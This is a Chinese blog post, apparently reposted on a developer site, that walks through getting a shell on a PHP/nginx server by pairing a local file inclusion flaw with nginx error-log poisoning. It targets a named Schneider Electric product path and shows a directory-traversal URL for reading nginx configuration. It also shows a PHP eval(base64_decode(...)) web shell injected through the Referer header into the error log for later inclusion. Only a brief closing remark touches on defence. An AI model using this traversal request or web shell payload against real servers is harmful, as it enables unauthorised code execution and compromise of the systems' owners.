php nginx 0day,利用nginx日志结合本地包含漏洞GetShell

0前言

在WEB渗透测试中尤其是PHP,经常会挖到LFI漏洞,想要GETSHELL,但无奈没有文件上传的途径,这里给一个思路,抛砖引玉。

近日施耐德电气爆出的漏洞,首先得到了一个本地包含,在这里作为靶目标使用。

1460000009809355

1.本地获得利用思路

umotion/themes/schneider/include/css.php?css=../../../../../../../etc/nginx&theme=ivory&version=11028

1.1 得到nginx配置

通过文件包含,枚举得到nginx的配置文件。

/etc/nginx/nginx.conf

1460000009809356?w=676&h=530

配置文件中获得了nginx错误日志的路径,且关闭了访问日志。

error_log /var/log/nginx_error.log;

access_log off;

1.2 利用思路整理

那么我们可以利用错误日志来构造合法的php代码,从而利用包含漏洞。

下面可以很直观想到的几个问题:

何时才会向nginx错误日志写入错误内容。

如何控制我们写入的内容。

如果遇到转义写入如何绕过。

目前知道的情况:

目标系统为nginx + FastCGI + php架构。

2.了解何时会向nginx错误日志写入内容。

通过观察日志可以很容易发现,如果请求为404/403等异常错误码,或者FastCGI返回出错信息,均会记录到nginx错误日志中,

1460000009809357?w=778&h=362

2017/06/15 17:27:37 [error] 23229#0: *29454 open() "/web/html/favicon.ico" failed (2: No such file or directory), client:

3.控制我们写入的内容

可以很容易发现,我们的请求PATH会被写入到错误日志中(请求路径不存在)。且携带我们的IP信息,以及HTTP头部的referrer。那么我们就可以利用这两点来构造。

4.绕过转义

这时候写入

我们构造

host/xx/?<?php eval(base64_decode($__REQUEST[fob]));?>

如果通过webkit内核浏览器访问,webkit会自动转移,直接通过curl发送。

这里使用referrer来注入代码到错误日志中。还好nginx端没有进行任何转义,如果遇到转义则需要见机行事,构造可用payload。

1460000009809358?w=679&h=116

最后成功写入向错误日志中注入php代码。

5.总结

其实没什么技术含量,只是经常会遇到这种情况,包括各种日志,apache,nginx等。这里只提供一个思路。设置站点权限的时候,这些点可以关注下,包括读取日志得到敏感信息(后台,管理员信息等)。

本文永久地址[利用nginx日志结合本地包含漏洞GetShell],转载请注明出处。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值